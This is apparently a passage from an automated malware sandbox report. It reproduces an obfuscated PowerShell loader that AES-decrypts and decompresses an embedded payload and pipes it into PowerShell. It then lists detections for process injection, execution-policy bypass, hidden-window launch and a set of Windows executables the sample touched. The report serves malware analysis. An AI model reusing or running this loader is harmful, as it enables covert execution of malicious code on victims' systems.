D3ZtoYn5ihDTuPYWWt16IJ4ubzEum6bhn/b7zxa/C1cLpzxwhRujfaHsg0wmGE0D9dxqy2nl8r9S1ew95ahuyOvDQssoaBkNnk5XgMucabOrFlOwfLTCo1ni06dveM4AG12GPDv1+zvL9F67ATzNG+XePwpBe+e3espNwdPc/cgX9FVWhnCshD5h0477cnN3AtQlJ9g7OWU9R87S9Xk2Z/RdOr25zk3DiqPcACdEEvSU5kEa2KMnJ3dTZuO28pc9Ykg51Z2VbGMIYNqKXJr53k7t34mh94dAgNSTBbPcfwyLQiE33Ztn2jOCiUFsfYWU7vAamx60u/41Gp1gNhfLHKkyDG+cHbhVZvCsN8/cvyD/Iv3N+F357UGzxiSmXbjeI+D6jBMQD4EAAyBNb41LaOJjjSae/kkBbcEX+9jf+0K9wpK1XDTIkfiiTFYehTHlS3tmgFPJ1HtfI0xXu+AJAWwKOTdMxVwhKit4Fh4CVrkGPoIxhQfepkgGPCe9V/NPHEChbuEQ97RSiO0/dul11R5LDNm9vBOeDPddW8erdGJGeD7KwkQ7AyxMz4XcjGgvYfXAGD0TgSEtItQSUDbIlXmJWvaL7dclT7YkghsvY4irgovgq7DLKh30ZB2p1yqD+37a2E4LmtkiaBOAp0uDWvvifoWu0q9R/19tNwq0e9ic/TX9s8p4eGlNf1hEt1xGjqT5KXaSRbdmSM7oK/wbBSnKv5uBdZ8aPAY5SlpkanFW8yKMJiyRrfVpvD1x6CbLQuvgnnAjcZYc7sAj5FwiaDeE+oh6LQcbSvCtkCxextImUtyaZ3LkJDtfgBVs1Ackg2NbyWjAe6pU8TrJv5AWEY29sff5tL0cigzm3YSOD3NBtiakaxW33VSuK2LhefPlC8yQ0jCchfUmv07JljBO7idmeFXV8x/TAWqF20gopxlfzaY+dza/INHrd2lQX6b7yFabWvo0rZuiNGjM5nWhGEweiAI+arqwBJ/w/aXTuOj7TWbTguLex0XtHROcznzFx4uPPMVNoTF/kzIfxeugM6KTOt42uqDDEPdB0PA83gRRBY42PsDlTxbLFtqoVi/o3lFRCJycRUazyM8ale3Spd7frAysauyjwTAtD7XA=';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell -
Process injection Process 1636 resumed a thread in remote process 2224
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x0000000000000358
suspend_count: 1
process_identifier: 2224
1 0 0
option -executionpolicy unrestricted value Attempts to bypass execution policy
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy unrestricted value Attempts to bypass execution policy
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe